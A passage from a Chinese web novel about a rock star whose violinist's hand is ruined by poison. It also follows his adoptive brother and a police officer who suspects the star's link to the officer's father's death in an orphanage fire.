只是因为着他强大的内心,所以能推着他能为了所谓的如同佛前灯火般虚无缥缈的“理想”一路从孤儿院、籍籍无名走到世界之巅。 尧新雪对别人从不手下留情,对自己更是同样,甚至有过之而不及。 甚至因为镇痛剂的副作用,他不愿意使用,只自己一直忍着。 除了钟鸣,其实应该还有很多人恨他,可尧新雪不在乎。 尧新雪既然不会把千万人的爱放在心上,自然也就不会把别人的恨放在心上。 尧新雪紧紧闭着眼睛,牙齿几不可见地颤抖。 可如今他越是感到疼痛,就越是对宋燃犀的背叛感到憎恨。他对宋燃犀背叛感到的恨甚至要胜过失去自己的右手。潮水般冰冷的愤怒没过尧新雪的灵魂,宋燃犀多么罪无可恕。 他无法忍受着这样的失控,因为这对他来说是一种赤裸裸的羞辱,尧新雪的自大并不允许顺从的狗反抗,不允许既定的命令被更改。 某种意义上,尧新雪真是残酷的暴君。 静默了很久之后,尧新雪终于再次睁开眼睛,望向了尧新橙,他的眼睛冷静得如同一湾平静的湖水,只慢慢地说了两个字:“医生。” 他需要听到医生完整的叙述来判定自己手伤的情况,这是决定黑羊走向的重要因素。 尧新橙叫来了医生,听着医生一一解释如今尧新雪身体的状况。 国内最先进的医疗技术也只能延缓这半支药剂毒素蔓延的时间,当务之急是研制出特效药或是向国外尖端的医院寻求帮助,否则两个月后,尧新雪别想能再次抬起自己的右手。 其余的都是皮外伤,好好休养就好了。 尧新橙听这些话听了千八百次,为了治好尧新雪的手,他在这几天找了无数专家和医生,可所有人说出来的话都如出一辙。 但他依然乖巧地站在了旁边,看着尧新雪的表情。他庆幸着尧新雪没有问宋燃犀的死活,庆幸着宋燃犀经此一事终于可以彻底离开尧新雪的身侧。 哪怕尧新雪说过永远不会和他发生任何关系,但对于尧新橙来说,仅仅只是能够站在尧新雪身边就够了。 他知道他不能太过贪心。 尧新橙看着尧新雪点了点头,然后哑声说了句“谢谢”,最后又极疲倦地闭上了眼。 尧新橙带着医生走了出去,听着医生交代了一些注意事项后点了点头。 他站在门口安静地看了一会尧新雪,确认尧新雪不想被打扰后就转身离开了。 那天尧新橙在两个小时后就发现了尧新雪的失踪,他焦躁难耐地找遍了所有地方,甚至动用了不少见不得光的手段,终于找到了钟鸣的些许蛛丝马迹。 尧新橙如同一条狗,嗅着尧新雪的气味不断寻找,然而在他确定大概方位时,时间已经流逝了整整一天。 他一个人是无法排查出具体位置的,尧新橙不得不报了警。 在听到了电话里尧新雪给出的暗示之后,他就毫不犹豫地冲到了码头边上的废弃仓库里。 尧新橙至今还能感到那阵后怕。 他抱着自己的脑袋,倚靠着病房的门缓缓坐了下来,连续几天的不眠不休已经让他到了强弩之末,眼睛通红。 尧新橙的手不住地发着抖,心跳急促,最后从兜里拿出了药瓶,抖了几颗在掌心后就往嘴里塞。 他抽搐的身体终于在药物的作用下慢慢镇静下来,尧新橙抓了抓自己的头发,最后疲惫地闭上了眼睛。 他想起了很小很小,在孤儿院的时候。 尧新橙永远不会忘记那一天,尧新雪到来的那一天。 那时候尧新橙还不叫尧新橙,他只有编号36号。 有一天,慈济孤儿院里来了一个新的孩子,他一来,就得到了所有人的喜爱。 他有着漂亮的天使般的脸庞,以及蓝灰色的长卷发。他举止彬彬有礼,不像这里的任何孩子一样野蛮,被他注意到的小孩都会忍不住地脸红。 慈济孤儿院的老师对孩子总是不加管控或约束,因此孩子们都有着骨子里的坏。在看到那个漂亮男孩的时候,所有坏孩子竟然都像是被施加了魔法一样,争先恐后地想要靠近他、讨好他。 尧新橙也是被吸引的一员,可他不敢靠近,因为他这样瘦小,又结巴,会被那些高大的孩子推倒,甚至会被展开报复。 他只远远地看了一眼那个男孩,那个男孩却仿佛感到了他炽热的视线,转过了头,将目光转向了他,微微笑着。 36号……不,后来的尧新橙,脸红了。 那时孤儿院的所有孩子学会写的第一个字就是“雪”。 尧新橙在那之后以为自己不会再有机会得到尧新雪的注意,可是上天却意外地对他开恩了。 小小的尧新橙正坐在偏僻的角落,歪歪扭扭地写着不成样子的字。 一张大人随手扔了的纸张,他用着半截快只剩下笔头的铅笔,神情认真地、一笔一划地写字。 那是个万物凋零的、无比寒冷的冬天,尧新橙的手指冻得发紫,他又被几个欺凌者踹倒在了地上,手中的纸被抢过来撕掉了。 “写的什么啊……” “真丑!写得比狗爬还难看!” …… 尧新橙一声不吭,只憎恨地看着他们。 就在他准备又要用脸去挨拳头的时候,有一个人拽住了那个人的胳膊。 “你们在做什么?”一个愉悦的、温柔的声音响起,他的出现让尧新橙和其他人都怔在了原地。 ——是尧新雪。 这个漂亮的男孩、这个一来就被所有孩子私下里偷偷称呼着“救世主”、“天使”的男孩微笑着俯身看着尧新橙。 他捡起了被扔在地上的那支笔,抬起手,就将笔头毫不犹豫地扎进了为首欺负尧新橙的那个人。 那个孩子发出一声惨叫,眼神转瞬间变得恐惧,尧新雪的力气出奇地大,几乎要搅烂他的皮肤。 其他孩子都“啊”了一声,转过身都踉跄着跑了。 那支笔直直插进那人的手背,直到三分钟之后,尧新雪才面无表情地放开了手。 他看着那个人哭叫着、狼狈地逃走,然后才居高临下地侧过头看向趴在地上的尧新橙。 小小的尧新雪如同看到了什么阿猫阿狗,蹲下身,眼神饶有趣味。 他把那支染血的铅笔放回到了尧新橙的手心里,注视着尧新橙的眼睛:“自己想要什么,就自己去争取。想要不被欺负,就要反抗,无论是用什么方式。” “你在那张纸上写了什么?”尧新雪转而好奇地问。 尧新橙怔怔地看着他,最后极低地说了声:“雪……” 第97章 即使尧新橙勒令了要保密,但尧新雪手受伤的消息最后还是走漏了风声,唱衰黑羊的声音如同雨后春笋般冒了出来。 迟天境带着鲜花站在了病房门外,他如今已经是一个挺拔的、年纪轻轻便身居高位的警察,想要敲门的手却犹豫地停在了半空。 因为当时的冲动,因为当时那活色生香的一晚,迟天境一个还在备考的大学生逮捕了毒瘾深重的贝斯手江楼,他的英雄事迹传到了警局,也就得到了不少人的青睐与赞赏。加之他成绩优异,正义感十足,正式入警后办案利索,在警局的地位升得简直比火箭还要快。 此刻敢单挑五个毒贩的高大男人却低着头,心中微微地颤抖着。 迟天境想到了那一晚的尧新雪。 他在这之后无数次回忆、反刍着那幸福的、无比快乐的那一晚。他回忆着那晚脸色泛着潮红的尧新雪,回忆着皮肤细腻光滑如瓷的尧新雪,回忆着声音沙哑却愉悦的尧新雪,回忆着长发散落在他身上歪着头朝他微微笑着的尧新雪,每回忆一次,他都情难自抑。 迟天境很有自知之明,他知道那会是他和尧新雪距离最近的时候,之后也绝对不会再有。尧新雪不会留在那个狭窄、黑暗、逼仄的地下室或旅馆,他会如同一只鸟飞到更远的地方。 所以两人都心照不宣,在那天之后再没见面,迟天境知道自己对于尧新雪来说只是个不值一提的过客,哪怕那一夜再怎么疯狂、再怎么快乐,最后把这晚当成珍宝般回忆、珍惜的也只有迟天境而已。 迟天境在门口纠结了很久,终于鼓起了勇气,轻轻敲了敲门。 得到了一声“进”之后,迟天境打开了房门。 他看到尧新雪穿着病号服,倚靠在窗边,手上握着一把小提琴。 尧新雪的眉轻轻地皱着,缠满绷带的右手握着琴颈,窗边的风吹起他的长发,就在他慢慢地试图将琴搭上自己的肩时,因为剧痛颤抖的右手在下一秒毫无预兆地松开了五指。 漂亮的小提琴瞬间掉在地上四分五裂,发出“砰”地一声。 迟天境看到尧新雪眼神平静,仿佛什么都没发生,他只偏头看了眼地上的小提琴,然后在尧新橙的扶助下坐回了床。 当看到迟天境,尧新雪极淡地笑了一下:“天境,好久不见。” 迟天境却忍不住眼睛一红。 尧新雪和他记忆里的一模一样,唯一变了的,是当时在摇滚街区里及肩的长发如今已长到了腰部。 而当时那双拉出无与伦比的琴音的手如今却已经连拿起琴来都做不到了。 迟天境的心仿佛被狠狠砍了一刀,最后却只苦笑地说了声:“新雪,好久不见了。” 尧新雪的心情不好,也就不愿意应付迟天境,装出精神不济的样子,只随意地聊了几句,迟天境就体贴地找了个理由离开了。旧人重逢,却无话可说。 等确认迟天境已经离开后,尧新雪才慢慢闭上了眼睛。 尧新橙望了他一会后,就去收拾地上的残局,这一个月里他们找遍了国内权威的医生,可最后依然是一无所得。 尧新橙笨拙地想要安慰尧新雪,但尧新雪对他的所有行为都毫无触动。他冷静得不像是那个最大的受害者,他甚至没有歇斯底里地发泄过。 就在尧新橙晃神的片刻,尧新雪终于开口:“你看到了吗?他的脖子上有一块胎记。” 木屑划伤了尧新橙的手,但他面不改色,只从口袋里拿出纸巾擦了擦,认真回忆了一遍,最后说:“没有。” 他转身看向尧新雪,只见尧新雪同样冷漠地注视着自己。 尧新雪的嘴角挑起一抹嘲讽的笑,他抬起左手,轻轻地在半空中划了一个勾:“新月型的。” “和迟桉的一模一样。” 尧新橙在听到这个名字时心猛地一跳,身体因为恐惧本能地颤抖起来,他的眼神先是不可置信,最后是接近扭曲的憎恨。 那个男人,那个把慈济孤儿院一手建立的男人,那个在过去意图掐死他的男人……尧新橙的瞳孔强烈地收缩着。 尧新雪看着他的反应,依然无动于衷地继续道:“他是迟桉的儿子。现在,钟鸣落在了他手里。” 尧新橙想都没有想就立刻反驳道:“钟鸣,不可能知道。” “但也依然是个隐患。”尧新雪直视着他的眼睛。 尧新橙浑身的汗毛竖起,他的手握紧,最后低声道:“我知道了。”- 迟天境走出病房后捏了捏自己的眉心,他依依不舍地转身隔着窗看了一眼尧新雪后,打车回到了警局。 他走在过道上,陆续有人向他打招呼:“天哥。” 迟天境只淡淡地“嗯”了声,最后准确地走进了最后一间审讯室里。 和在尧新雪病房前踌躇不前,心乱如麻的样子截然相反,迟天境此刻冷静,甚至面带厌恶。 他随手关上了门并上锁,看了眼左右的人,那些人极有眼力见地关掉了监控,默契地叫了声“天哥”。 迟天境坐在了审讯的位置上,翻看了下桌上的资料。 “钟鸣。” …… 他抬眼看了下铁栏内神色憔悴的男人,男人低着头闭着眼,像是什么都没听见。 “说话。” …… 钟鸣依然保持着沉默,就在下一秒,迟天境的手伸过了铁窗,迅速地攥住了他的头发,几乎是扯着他的脑袋往铁窗上猛撞。钟鸣无法反抗,在剧烈的疼痛中呼吸沉重如野兽。 “砰”、“砰”、“砰”,在连撞了好几下之后,迟天境终于松开了手,他的表情冷漠,眼神不掩厌恶,咬牙切齿:“你知道你做了什么吗?你把一个人毁了。” 钟鸣被撞得眼冒金星,却还是笑道:“哦,你说尧新雪吗?是他罪有应得。” 迟天境的表情几近可怖,他攥着钟鸣衣领的手青筋暴起:“我查过了,尧新雪跟你没有任何交集,他从来没有得罪过你,你也从来没有什么弟弟。你现在居然还敢诋毁他吗?” 钟鸣听着这句话,笑了起来,他的声音嘶哑如老鸦。 他什么都没说,两人僵持了一分钟后,迟天境终于松开了自己的手。 “我现在要你回答另外一个案子。”迟天境坐回了原位,他拿出了一个文件袋,“你是慈济孤儿院的孩子。” 钟鸣听到了关键词,终于抬起头与迟天境对视。 “你应该没有忘记吧,慈济孤儿院在二十年前突然起了一场大火,火势蔓延得很快,把整座孤儿院都烧成了废墟,虽然孩子们及时逃出了那里,但有一个人死了。”迟天境牢牢注视着钟鸣,“那就是你们的院长,迟桉。” 钟鸣听到这个名字时,挑起一抹嘲讽的笑,他猛地趴向前,头抵在铁窗上:“这又怎么了?迟桉真是死得好,他不死,我们就永远留在那个地狱里,我感谢这场大火……” 还没有等他说完,迟天境就又忍不住攥住他的衣领,一次又一次将钟鸣的头撞向铁栏,他冷声道:“我没有问你的你不需要回答。” 钟鸣被撞出了鼻血,最后只狼狈地一笑:“你在动私刑,和我有什么区别?” 迟天境注视着他的眼睛,半晌后放开了手。 他仿佛终于冷静了下来,冷声道:“你在那天有没有见过迟桉?当时发生了什么?为什么会突然起火?” 钟鸣的目光流连过迟天境的面容,他舔了舔干燥的嘴唇,露出了玩味的笑:“真像……原来是这样……难怪这个案子过去这么多年了还突然被翻出来重查,原来是因为你是他的儿子。” 迟天境不置可否。 钟鸣懒散地靠着椅背,他看了迟天境好一会,终于开口:“起火那天,我确实看到他了,火就是从他的办公室里烧出来的。” “为什么起火我不知道,我只知道那天很混乱,火直接烧到了三楼,所有人都在奔走逃命,我跑下楼的时候路过他的办公室,在半掩的门后就看到他倒在了那里。” “还没等我看清楚,就有人推着我继续往下跑。” 钟鸣话音未落,他看着迟天境,又一次笑了起来,他感到很滑稽,表情装作惊恐,张着嘴捏着声音学起那时的孩子:“救命啊!救命啊!着火了!” “我们活得像老鼠,你却想为罪魁祸首伸张正义,你知道你爸背地里在做些什么勾当吗?”钟鸣嬉皮笑脸道。 迟天境不受影响,只继续问:“是谁推你走的,他是从哪里出来的,跟在你后面,还是从迟桉办公室那层楼里出来的。” 钟鸣说:“我不知道,我不记得了,我不知道他是从哪里来。我只知道他挡住了迟桉办公室的那个方向,他一直催促着我往前走。” 迟天境沉声问:“他是谁?” “他是我们的救世主,漂亮、温柔、举止优雅,长得像个天使。我们所有人都为能得到他的注意欣喜若狂,以得到他的一句话为荣。” 钟鸣侧着头,看着迟天境,咯咯地笑了起来:“他就是尧新雪啊。” 第98章 迟天境听到他那句话的时候脸色一沉,之后心乱如麻,钟鸣之后的声音都只过了趟耳朵。 他终于再也坐不下去,抄起外套就往门外走。 迟天境回到自己的办公室,从保险箱里拿出档案——这是当年慈济孤儿院登记的孩子的照相册,整本装订成册的档案已经因为大火烧得不成样子。 纸页几乎一碰就碎,烧焦的痕迹让上面的自己模糊不清,迟天境用了十几年来试图补全这个图册里的信息。 迟天境紧紧握着拳头,眼睛通红,他永远、永远不会忘记自己和母亲牵着手走进太平间的那一天。 大火烧毁了迟桉的孤儿院,同时也让他丢了性命,他被大火烧得面目全非,执法人员要求迟天境和他的母亲去认领那具尸体,确认尸体的身份。 空气弥漫着令人作呕的尸臭与烧焦味混合在一起的气息,母亲牵着他的手止不住地哭泣,迟天境感到浑身冰冷,他的目光只一错不错地盯着那具盖着白布的尸体。 那具尸体已经烧得不成样子,尸身呈现出焦黑色。 迟天境死死地盯着那具尸体仅剩的、完好的一块皮肤,他看到了那块新月型的胎记。 那时小小的迟天境跪在了地上终于失声痛哭——他在那一秒知道了那就是他的父亲,迟桉。 他冲上去,抱着那具尸体的脑袋,如同迟桉生前将他架在脖子上,他也是这样抱着迟桉的脑袋。 只有迟天境在那时,摸到了那具尸体头侧的伤口。 人人急着把他拽下来,只有迟天境眼神错愕。他向警方提出了这个疑点,却被当做了孩子伤心过度的幻想。 即使有人再去探查,但大面积的烧伤依然无法印证迟天境的说法。加之迟天境当时年纪太小,这个疑点也不足以成为线索,这桩失火案就这样草草结案了。 后来迟天境终于当上了警察,他终于知道了那极有可能是凶杀的痕迹,迟桉极有可能死于一次猛烈的撞击,而非火灾。他逐渐高升,终于能够动用权限秘密重查旧案,可找到杀害父亲真凶的进程却依然很缓慢。 他在过去走访了不少人,但当年对慈济孤儿院有所了解的人早已老的老,死的死,他费尽力气,凭借着当时的火警、之后的慈善机构机构以及看护的老师提供的信息,终于勉强拼凑出了慈济孤儿院的大概样子。 慈济孤儿院位于远郊,附近人烟稀少,饭菜等都是依靠外送的。 孤儿院的孩子没有名字,只有编号。一部分孩子大多数被顶级的富豪领养走,剩下的一部分孩子则留在了孤儿院里,在那场大火后幸存,去往了慈善机构。 被富豪领养走的那些孩子在之后再也没有任何音讯,仿佛人间蒸发般彻底消失了,其他被转去慈善机构的孩子之后虽然也陆续被领养,但是这些孩子似乎无法融入正常社会,欺凌、吸毒、犯罪的行为常有。 “我们活得像老鼠,你却要为罪魁祸首伸张正义吗?” “迟桉死得好啊,如果他不死我们就永远留在那个地狱里……” 钟鸣嘶哑的声音仿佛还回荡在迟天境的耳边,他猛地抬起头——哪怕查到的种种证据都昭示着慈济孤儿院有着不可告人的秘密,但迟天境依然不愿意承认自己的父亲可能会是一个人渣。 因为他就是为了查清杀父凶手才一路走到这里的,将那个杀了迟桉的人绳之以法这个念头几乎是他前半生的全部精神支柱。 迟天境猛地呼吸了几下,他看着图上那眼神阴沉的孩子,心中微微颤抖着——如果迟桉的死与尧新雪有关,他该怎么办? 尧新雪为什么会是慈济孤儿院的孩子?钟鸣的话有几分是值得相信的?尧新雪会是那个害死自己父亲的人吗? 迟天境心乱如麻,他又想起了很久很久之前的那一天。 那是事后的清晨,尧新雪坐在床上,裸露着光滑的脊背,正在玩手机。他一手夹着细长的烟,缭绕的烟雾让他美丽的侧影如同一场幻梦。 迟天境看到他柔顺的长发如水般流过他那白皙的脊背与雪白的床单,上面还有着昨晚留下的吻痕,那两块蝴蝶骨如同折起的羽翼。 尧新雪听到迟天境醒来的动静,微微侧过头来看他,淡金色的日光就这样一瞬间模糊他的笑容,那一秒,尧新雪真的恍若一个天使、一个救世主。 迟天境无可自抑地吻了上去,在尧新雪那温柔的眼神里,仿佛说什么都是可以被原谅、倾诉什么都是可以的。 迟天境记得那时自己对尧新雪说:“在我七岁那年,孤儿院起了大火,我的爸爸死了。我知道爸爸不是没有逃出去,他是被谋杀的。” “我想要做一个好警察,我想知道他的死的真相。” 那时尧新雪的表情有一瞬间的怪异,是为什么?因为被他的身世吓到了,还是另有隐情? 迟天境几乎不愿意再继续想下去,他努力定了定神,告诉自己不应该草草地相信钟鸣的三言两语。 就在他胡思乱想之际,一个人猛地拍开了门:“天哥,抓到那个跨国脏器交易案的疑犯了,在菁南县。” “现在就走。”迟天境将那些文件全部塞回了保险柜,最后毫不犹豫地抄起了车钥匙。 门被推开了。 尧新雪睡在病床上,微微闭着眼睛,依然是脸色苍白的样子。因为被注射的那半支针剂,他的免疫力也变得很差。 即使尧新橙寸步不离,尧新雪还是感冒发烧了。 他的嘴唇此刻毫无血色,右手缠着雪白的绷带,因为梦魇与疼痛,漂亮的眉微微皱起。即使是在睡梦中,仿佛也依然无法感到安稳似的。 尧新橙坐在他的床边,只是安静地注视着尧新雪的面容。 尧新橙的心底很焦虑,有太多的事要处理,可又不想离开尧新雪,他不放心将尧新雪交由别人照顾。 坐了好一会后,尧新橙才走进隔间,将熬好的白粥端了出来。 尧新橙将手放在了尧新雪的肩膀上,俯下身轻轻地对尧新雪说:“哥哥,起来,吃点东西。” 尧新雪微微睁开眼睛,他只看了一眼尧新橙手里的粥,就哑声道:“没胃口。” 尧新雪感觉到自己的胃很空,可是饱腹感顶着他的喉咙,让他感到恶心。他几乎没有力气,手背上甚至插着针头,偏过了头,忍不住开始干呕。 尧新雪很难受,尧新橙轻轻地拍着他的背,他却因为胃里很空什么都吐不出来。 “慢慢吃,医生说,你多少,要吃点。”尧新橙另外一只手绕过尧新雪单薄的脊背,最后极小心、极温柔地把尧新雪半抱起来,让他靠着自己。 尧新雪几乎坐在他的怀里,只能强迫着自己一点一点将尧新橙递到唇边的粥慢慢喝掉。 他必须强打精神,忍着恶心吃掉。 这碗粥吃了两个小时,尧新橙最后轻柔地用手帕擦了擦尧新雪的嘴唇,转身去隔间洗碗。 尧新雪又有些困倦地闭上了眼睛,然而,他还是听到了与尧新橙不同的脚步声。 一重一轻。 尧新雪睁眼无声地看着来人,眼神冰冷。 是宋燃犀。 他正杵着拐杖,低头看着尧新雪。 两人对视了片刻,宋燃犀终于艰难地开口了,他的嘴唇颤抖:“对不起。” 尧新雪望着他那副憔悴落魄的样子,嘴角只极轻地挑了挑。 尧新雪心里感到报复的快感,可仅仅是这样又解不了他心头万分之一的恨。 宋燃犀伤的远比他的要重,宽大的病号服里甚至能看到缠满的绷带——可是这又怎样?宋燃犀身上所有的伤加起来都不如尧新雪的一只手。 尧新雪望着他,很久后终于微微张开了嘴唇,嘴角弯起,仿佛一个满意的笑。他的声音太轻,宋燃犀不得不低下头,才能听清楚他在说什么。 尧新雪侧过头,对着他的耳朵轻声笑着说:“你背叛了我两次,现在,我终于……” 宋燃犀的眼神痛苦,他的心紧紧地揪着,在最后终于听清了那三个字。 “自由了。” 在看到宋燃犀出现的那一刻,甚至是宋燃犀做出了选择的那一刻,尧新雪就再也没有感到心中那对于宋燃犀扭曲的、物化的、如同怪物般势必拥有的占有欲。 曾几何时,对于他来说,占有宋燃犀的欲望快要与实现理想等同。 但现在尧新雪终于能够松开手里曾经牢牢紧攥着的那条狗链了。 宋燃犀在那一刻感到了如潮的悲哀与难过,他如同一具被挖空了的尸体,听到这三个字后,心脏猛地震了一下。他意识到,在他乞求渴望着得到尧新雪的爱无果之后,他甚至失去了那个“特别的”身份。 密密麻麻的痛意蔓延上来,宋燃犀只艰难地笑了下,低声说:“尧新雪,祝你早日康复,我一定会想办法治好你的手的。” 与此同时,菁南县。 迟天境举着枪一脚踹开了破旧的门。 他为首走进这间老屋,空气中弥漫着浓重的、烟酒的味道。 然而巡视了一圈,迟天境都没有看到这里的人,他迅速作下了判断,吩咐下属:“王军跑了,现在立刻追,他肯定逃不远的。” 他走进了房间里,目光巡过那破旧的木桌,手伸到了木桌底下,最后摸出了一个笔记本。 迟天境垂下眸,打开了那个披满了灰尘的笔记本,当他看清里面夹着的照片的人时,身后下属的突然出声让他迅速地合上了本子。 迟天境的心砰砰、砰砰地跳着,他背对着那个警员,瞳孔因为不可置信收缩。 “天哥,你有什么发现吗?”那个人问。 “没有,再搜一下。”迟天境毫不犹豫地回答道,他背着人,迅速地将里面的照片抽出,最后面无表情地放进了自己的衣袋里。 ——照片上是一个漂亮的男孩,长发,笑容温柔灿烂。 第99章 王军,68岁,曾任仁安医院的院长,在当时是顶级的外科专家,在医学界地位超然,从医期间已经做过了上万台手术。后来因为收受某药企的高额药品提成被罚三十万,他最后退回赃款,所以从宽处罚,只判了八年的刑期。 出来之后王军虽然低调行事,但是警方最近一直在查的这起跨国脏器交易案,他是重要的疑犯之一。 这起跨国的脏器交易案涉及了多国乃至多个位高权重之人的利益,在揪出一起后警方发现了背后恐怕还隐藏着更大更完整的产业链,就迅速地提高了重视,动用了大量的资源与人力要查清真相。 这桩案子本来不归迟天境管,他却在看到了王军的资料后改变了主意,并且主动揽责申请成为这单案子的负责人之一。 这样做倒不是迟天境的正义感在作祟,而是因为王军是迟桉当时建立慈济孤儿院的合伙人。 在过去迟天境一直在苦苦追查着有关于迟桉的线索,王军的这一层身份也只有他知道。 钟鸣的落网像是一块石头砸了过来,砸碎了这停滞的看似无比平静的湖面,也让迟天境一直在关注的事情终于有了进展——一个从未想过的人物,尧新雪,出现了。 为什么王军会有尧新雪的照片? 迟天境感觉自己的牙都要咬碎了,哪怕他再怎么不愿意相信钟鸣的话,但这张照片的出现却还是让他一瞬间哑口无言。即使保护尧新雪的本能依然催使着他先将这张照片藏了起来,但那颗怀疑的种子也早已在那一刻深深地埋进了迟天境的心底。 这张照片已经泛黄,边缘有着极轻的折痕,宛如一个标记。上面是少年时期的尧新雪,稍卷的长发及肩,圆圆的眼睛闪着耀眼的光,嘴角扬起。 他漂亮得像一个洋娃娃,在这个年纪里几乎让人无法分辨性别。可只要看到他现在的模样,就能立刻与这张稚嫩的脸对应上。 迟天境感到呼吸困难。 根据当时人的回忆,那场大火几乎烧毁了整座孤儿院,整栋建筑都坍塌了。即使对外公布只有迟桉没有逃出来,但其实有人提到过,有少了两个孩子。 孤儿院的失火案很快就被压了下去,至今这个说法都模棱两可,无法得到证实。 迟天境查了尧新雪与尧新橙的身世。 这对兄弟没有出生证明,前十年甚至没有户口,在社会上如同鬼魂。直到尧新雪十岁那年,贺家领养了他们,他们才仿佛凭空出世般有了姓名与户籍,才像正常人一样,拥有一系列的档案。 而他们两人在这之后的经历,都是迟天境知道的了。 十八岁,尧新雪和尧新橙离开了贺家,开始组建摇滚乐队,开始进酒吧驻唱赚钱,那是迟天境第一次看到尧新雪。 然后在这几年里,尧新雪迅速地从地下摇滚街区最受喜爱的主唱成为轰动世界的摇滚巨星,率领着黑羊乐队走向世界,让黑羊乐队也成为了家喻户晓的乐队。 这都是世人所知道的东西,但在他生命那空白的前十年里,在去到那璀璨世界之前,尧新雪在哪里?他过的是什么日子? 迟天境在过去以为尧新雪是什么权贵家庭的少爷,因为尧新雪这样漂亮,这样具有领袖魅力,这样谈吐优雅,他的举止也与那些三教九流之人截然不同。 这样一个完美的人,似乎怎么也不应该是个孤儿。 迟天境无法将这样美好的、光芒万丈的尧新雪与苦难、贫穷、流浪几个词联系在一起。 因为只要想到有这样的可能,迟天境就会感到无止尽的难过与心疼。他深深吸了一口气,将那张照片又放到了保险柜里,决定去医院一趟。 他有满腔的疑问,想要向尧新雪求得答案。 但当迟天境开车去到医院,并没有在病房内看到尧新雪。 他往房间内看了一圈,这个房间里除了一张病床与其他的医疗设备之后什么都没有,甚至连一些私人物品都并不存在。 尧新雪在这里将近住了两个月,这里却没有任何生活痕迹,他像是习惯了不把任何一个地方当成家,当成归属。 迟天境的目光有一瞬间被刺痛了。 问过了医护人员之后,迟天境去到了二楼的花园里。 因为是私人的高级医院,整座花园的面积极大,花卉的品种繁多,植物与鲜花错落着生长,色彩斑斓得有如一副彩色的画,空气清新,走在这里如同漫步在森林里。 迟天境在一棵梨花树下看到了尧新雪。 他痩了一整圈,颈部、整条右臂都缠着绷带,病号服显得很大,空落落的。此刻他正坐在草地上,低头看着一只猫。 那是一只纯白的波斯猫,耳朵又圆又小,眼睛呈现出美丽的蓝色,正低头认真地舔着尧新雪的掌心。 迟天境走近一看,才知道那只猫在吃着他手心上的冻干。 尧新雪仿佛没有听到迟天境逐渐靠近的脚步声,依然微笑着逗着那只猫,等到猫吃到最后一颗冻干的时候,他就使坏地捏着那颗冻干,抬高了手。 尧新雪的右手肿了一圈,依然缠着几圈绷带,只能举着左手,晃着冻干来逗猫。 这一幕是那么美好,可迟天境却感到很难过、很难过。 在怀疑尧新雪之前,他的全部身心都已先一步开始心疼起尧新雪来。迟天境为他如今的右手感到心痛,为着当时尧新橙抱着的血淋淋的尧新雪感到心痛。 波斯猫细细地着急地“喵”“喵”叫着,伸出白色的、柔软而猫毛浓密的爪子去拨拉尧新雪,尧新雪感到很好笑似的笑了起来,他好看的眼睛微微弯起,露出了雪白的牙齿。 波斯猫因为得不到零食气急败坏,不顾自己的重量,毫不犹豫地纵身一跃,伸着爪子去扑那颗冻干,想要将尧新雪扑倒在地。 但在那几秒里,迟天境已经毫不犹豫地冲了上去,他抬臂挡住了那只没大没小的猫,一手则护住了尧新雪的后背。 猫没扑到想靠近的人的怀里,反而被这么一挡落在草坪上翻了个跟斗,如同一个小小的雪球。 尧新雪又弯着眼睛笑,肩膀笑得甚至微微颤抖,他看着猫在草坪上翻了个滚,然后一脸茫然、委屈的样子,笑得如同一个天真的孩子。 迟天境后知后觉意识到自己的越界,他有些尴尬地松开了手,坐到了旁边僵硬地拍了拍猫的背,努力给猫顺毛,他也没敢看尧新雪的眼睛,只轻声道:“抱歉,我怕它砸到你。” 你看起来这么瘦,身上又有这么多伤。 尧新雪温声笑道:“没关系,它又不重。” 迟天境站起来,有些手足无措,低头却看到尧新雪仰起了脸,笑着看向他,然后伸出了左手。 风一吹,漫天的梨花就落了下来,如同无边的细雪。一瞬间,世界好像变得格外安静,只能听到两人的呼吸声。 迟天境只愣了几秒,就握住了尧新雪的手,将他慢慢拉了起来。 尧新雪说:“它是好孩子,也是我的好朋友。” 迟天境低声道:“对不起。” 尧新雪听到他的道歉又笑了,最后只无奈地摇摇头说:“你真是一点都没变。” 迟天境感到心底的酸与苦,他张了张嘴,却是什么都没说。 最后,迟天境把尧新雪背了起来,准备把他背回病房。 尧新雪的长发落在他的肩上,迟天境甚至能嗅到他身上的香根草的气息。 在走出花园之后,尧新雪柔声说:“当年说的话,你都做到了,恭喜你。没想到我们会以这个方式重逢。” “嗯。”迟天境抱着尧新雪的双膝,心中五味杂陈。 他当然知道尧新雪说的是什么。 那时黑羊乐队籍籍无名,他们坐在大排档里,为着一场只有百来人观看的比赛庆祝。 薛仰春、尧新橙、楚枕石……还有尧新雪。 “我想做个好警察。”迟天境记得自己喝醉了,身边那些人在笑。薛仰春笑得趴倒在桌子上,楚枕石说,那你的梦想和我们队长的一样伟大。 他怔怔地转过头去看尧新雪,只见尧新雪撑着下颌,侧过头微笑,眼神温柔认真,却不带任何嘲笑的意味,举着一罐啤酒轻轻地和迟天境碰了碰,说:“好啊,祝你梦想成真,小迟警官。” 迟天境有一瞬间的晃神,仿佛还停留在昨日,一切都没有变。 直到尧新雪带着笑意轻声问:“小迟警官,今天怎么有空来看我?是有什么事吗?” 迟天境咬了咬唇,他牢牢地抱着尧新雪,小心避开了门框,最后缓缓说:“新雪,你可以告诉我,关于你小时候的事吗?” 迟天境不知道的是,在他话音落下的那一刻,尧新雪的眼神也同时冷了下来,与刚才温柔、逗着猫的样子已判若两人。 他抱着迟天境的颈,神情阴沉,仿佛一只艳丽的恶鬼,在褪去了伪善的面具后,终于露出了原本狠戾的模样。 第100章 尧新雪轻轻笑了:“我的小时候吗?你怎么突然这么问?” 迟天境回答道:“没,就是突然想知道了。” 他把尧新雪小心地扶到床上,然后单膝跪在床边,让尧新雪不用抬头来看他。 尧新雪低下头,几绺顺滑的蓝色长发垂落到他的腿上,他看着迟天境,长睫毛微动:“我小的时候……” 一个医生进来打断了他的话音,那人穿着白大褂,手里拿着文件夹和笔,看着迟天境:“抱歉,现在到检查的时间了。” 迟天境没有动作,他只是定定地看着尧新雪的脸上露出遗憾的神色,最后又有些苦恼般对自己说:“啊,下次再给你讲故事吧,我又要做检查了。” 迟天境看着他那双眼睛,好半晌之后终于低声说了句好。 迟天境站起来,退到了一边,看着医生将尧新雪的长袖慢慢折起,露出那条缠满绷带的右手。 尧新雪看向他,微笑道:“下次有时间,也再来看我吧。现在……” 迟天境注意到他抿了抿唇,颈部的皮肤紧绷,才意识到尧新雪的紧张与不安。 尧新雪一定不愿意让别人看到他现在是这副样子。 迟天境的心突突地跳,他忙错开了视线,最后低声道:“好,我下次再来看你,新雪。”他抬起头,看着尧新雪清隽的的面容,毫不掩饰眼底的怜惜,“你一定会好起来的,不用担心。” 